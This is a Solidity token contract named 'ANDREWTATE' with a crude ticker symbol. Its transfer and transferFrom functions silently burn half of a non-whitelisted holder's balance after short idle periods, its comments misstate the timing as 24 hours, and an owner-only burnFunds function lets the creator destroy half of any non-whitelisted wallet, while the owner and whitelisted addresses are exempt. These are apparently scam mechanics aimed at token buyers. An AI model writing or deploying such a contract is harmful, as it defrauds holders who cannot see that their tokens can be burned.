// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MyToken {
    string public constant name = "ANDREWTATE";
    string public constant symbol = "$SLUTS";
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    uint256 burnAmount;
    uint256 sendAmount;
    address public owner;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => uint256) lastTransferTime;
    mapping(address => uint256) lastBurnTime;

    // Declare a mapping to keep track of whitelisted addresses
    mapping(address => bool) public whitelist;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Burn(address indexed from, uint256 value);

    constructor(uint256 _totalSupply) {
        totalSupply = _totalSupply;
        balanceOf[msg.sender] = _totalSupply;
        whitelist[msg.sender] = true;
        owner = msg.sender; // Set the contract creator as the owner
    }

    modifier onlyOwner {
        require(msg.sender == owner, "Only owner can call this function.");
        _;
    }

    // Function to add an address to the whitelist
    function addToWhitelist(address _address) public onlyOwner {
        whitelist[_address] = true;
        emit WhitelistUpdated(_address, true);
    }

        // Event to emit when an address is added or removed from the whitelist
    event WhitelistUpdated(address indexed _address, bool _isWhitelisted);

 
    // Function to remove an address from the whitelist
    function removeFromWhitelist(address _address) public onlyOwner {
        whitelist[_address] = false;
        emit WhitelistUpdated(_address, false);
    }

    // Function to check if an address is whitelisted
    function isWhitelisted(address _address) public view returns (bool) {
        return whitelist[_address];
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {

        sendAmount = _value;

         if(!isWhitelisted(msg.sender) && lastTransferTime[msg.sender] + 120 minutes <= block.timestamp && lastBurnTime[msg.sender] + 120 minutes <= block.timestamp) {
             sendAmount *= 2;
        }   

        require(balanceOf[msg.sender] >= sendAmount, "Insufficient balance");
        require(_to != address(0), "Invalid recipient address");
        
        // Burn 50% of tokens if the last transfer was more than 24 hours ago
        if(!isWhitelisted(msg.sender) && lastTransferTime[msg.sender] + 120 minutes <= block.timestamp && lastBurnTime[msg.sender] + 120 minutes <= block.timestamp) {
            burnAmount = balanceOf[msg.sender] / 2;
            balanceOf[msg.sender] -= burnAmount;
            totalSupply -= burnAmount;
            emit Transfer(msg.sender, address(0), burnAmount);
        }

        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        lastTransferTime[msg.sender] = block.timestamp;

        emit Transfer(msg.sender, _to, _value);

        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);

        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {

        sendAmount = _value;

         if(!isWhitelisted(msg.sender) && lastTransferTime[msg.sender] + 120 minutes <= block.timestamp && lastBurnTime[_from] + 120 minutes <= block.timestamp) {
             sendAmount *= 2;
        }  

        require(balanceOf[_from] >= sendAmount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _value, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        // Burn 50% of tokens if the last transfer was more than 24 hours ago
        if(!isWhitelisted(msg.sender) && lastTransferTime[_from] + 120 minutes <= block.timestamp && lastBurnTime[_from] + 120 minutes <= block.timestamp) {
            burnAmount = balanceOf[_from] / 2;
            balanceOf[_from] -= burnAmount;
            totalSupply -= burnAmount;
            emit Transfer(_from, address(0), burnAmount);
        }

        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;
        lastTransferTime[_from] = block.timestamp;

        emit Transfer(_from, _to, _value);

        return true;
    }

        // Function to burn half of the funds for an address if not transferred or not whitelisted
    function burnFunds(address _address) public onlyOwner {
        require(balanceOf[_address] > 0, "Address does not hold any tokens");
        require(!isWhitelisted(_address) && lastTransferTime[_address] + 3 minutes <= block.timestamp && lastBurnTime[_address] + 3 minutes <= block.timestamp );

        burnAmount = balanceOf[_address] / 2;
        balanceOf[_address] -= burnAmount;
        totalSupply -= burnAmount;
        lastBurnTime[_address] = block.timestamp;

        emit Transfer(_address, address(0), burnAmount);
    }

}